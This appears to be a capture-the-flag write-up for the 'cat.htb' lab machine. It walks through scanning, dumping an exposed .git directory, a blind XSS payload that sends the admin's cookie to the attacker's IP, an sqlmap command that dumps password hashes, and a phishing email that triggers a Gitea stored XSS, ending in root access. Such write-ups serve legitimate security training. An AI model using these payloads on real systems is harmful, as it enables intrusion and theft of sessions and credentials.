rosehacks@pwny$ nmap -sV -sC -p- -T4 -oA --open cat 10.10.14.53 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA) | 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA) |_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to http://cat.htb/ Service Info: Host: cat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Application:
image here
User registration and Login:
- Done through a GET request, a bit unusual. (Thinking, maybe if an admin script is running and logging in we can capture the packets)
- Possible SQL injections here as well?
im age here
Contest submission:
- Possible blind XSS
- Possible file upload exploitation. (went down a bit of a rabbit hole here after finding the uploads directory.)
Directory Fuzzing:
rosehacks@pwny$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://cat.htb/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://cat.htb/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ .htaccess [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms] .git [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 85ms] .htpasswd [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 76ms] css [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 78ms] img [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 92ms] server-status [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms] uploads [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 83ms] winners [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 77ms] :: Progress: [20470/20470] :: Job [1/1] :: 519 req/sec :: Duration: [0:00:49] :: Errors: 0 ::
Results:
- Several interesting directories here.
- Some interesting ones being .git, uploads, and winners. (maybe img depending if we can get something juicy past the contest upload feature) imahe here
Exposed Git Directory:
- It seems the developers made the mistake of leaving their .git directory exposed.
- We can take advatage of this and possibly restore some source code from it.
- For this, I will use the tool git-dumper
./git-dumper-linux http://cat.htb/.git/
cd git-dumped/
git restore .
Results:
image here
- As you can see, we were able to restore the source code for the application. Now we can go through and do a code review (look for some juicy bugs!)
Code Review:
- In the join.php file, it seems the input for the username isn’t being validated, which may be interesting if we can find out if it is ustilized unsafely somewhere else in the code.
- Looking at the view_cat.php file (an admin endpoint). I found that out username is rendered along with the other user inputs from the contest submission. image here
- We may be able to use this to execute a blind cross-site scripting (XSS) attack on the admin.
Blind XSS Attack:
- We can use a payload, such as
<img src="http://10.10.14.12:443/?cookie="+document.cookie>
in our username when signing up. - After logging in, we submit our cat for the contest as per usual, except this time, we get a request on our server with the admin’s cookie. image here
SQL Injection with SQLMap
-
After getting an admin session on the application, I went back to the code to look for more vulnerabiltiies. While looking through the code, I found one endpoint ( accept_cat.php) builds an unsafe SQL query. image here
-
We could automate the exploitation here byusing a tool known as SQLMap:
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=vc64ndcf0tl5ppkqttnpmfmvem" -p catName --level=5 --risk=3 --dbms=SQLite -D main -T users --dump``
Cracking the Hash:
- With that, we were able to dump all of the user’s md5 password hashes.
<insert image
- Instead of cracking with a tool, I went for a quick win and threw them at crackstation. I got the plaintext password for Rosa, which I was able to ssh into the machine with.
From Rosa to Axel
- After getting on the box, the first thing I wanted to look at was the apache logs. (GET requests for login… come on!) image here
Internal Gitea Instance
-
After switching over to Axel, we notice he has mail, which we can check at /var/mail/username: image here
- From this message, we can gather that there is a local Gitea instance running on port 3000.
- With that, lets do a local port forward and check it out
ssh -L 3000:127.0.0.1:3000 [email protected]``
image here
- Seems we need to sign in, which we are able to do with Axel’s creds.
- But we still can’t get the that employee management endpoint..
- Looking at the Gitea version, we can see it is vulnerable to a stored xss vulnerability: https://www.exploit-db.com/exploits/52077
- Cookies don’t seem accessible by javascript since the HTTPOnly flag is enabled.
- So, my thought process here si that we need to access pages in the employee-management repository.
- looking back at the email as well, it seems we may need to do some social engineering image here
- This took a bit of playing around with, as I wasn’t sure if the script would check for any new repository and navigate to it, or if we needed to provide a link to the repository. It seems I also couldn’t get the payload to trigger if I didn’t have a file in the repository as well.
- So, many new repositories and reboots later, I was able to get the attack to work.
Click Me`
Create a blank file in the repository. Then send the email:
echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/Employee-management3" | sendmail jobert@localhost`
And we finally got a response: image here
Decoded:
?response=# Employee Management Site under construction. Authorized user: admin. No visibility or updates visible to employees. Seems there may be an admin endpoint..
Since we know there other application uses php, we can attempt to pull down a common file, such as index.php or admin.php. If that doesn’t work we could try a few more such as admin.php, and so on. And then switch languages as necessary, index.py, etc.
Trying admin was unsuccessful. But with index.php, we get the following response: image here
Decoded:
image here
Going back to the machine, we execute su, and become root: image here